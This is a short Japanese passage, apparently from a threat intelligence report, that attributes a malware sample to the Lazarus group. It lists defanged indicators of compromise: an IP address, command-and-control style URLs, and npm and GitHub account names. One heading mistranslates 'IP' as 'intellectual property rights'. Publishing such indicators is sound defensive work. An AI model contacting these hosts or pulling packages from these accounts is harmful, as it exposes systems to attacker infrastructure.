私たちは、ペイロード内のいくつかのフィンガープリントと以下の追加インジケータにより、このマルウェアをLazarusグループと断定することができます。
知的財産権
- 144.172.96[.]80
URL
- hxxp://144.172.96[.]80:1224/client/106/106
- hxxp://144.172.96[.]80:1224/uploads
- hxxp://144.172.96[.]80:1224/pdown
- https://ipcheck-production.up.railway[.]app/106
npmアカウント
- pdec212
Githubアカウント
- pdec9690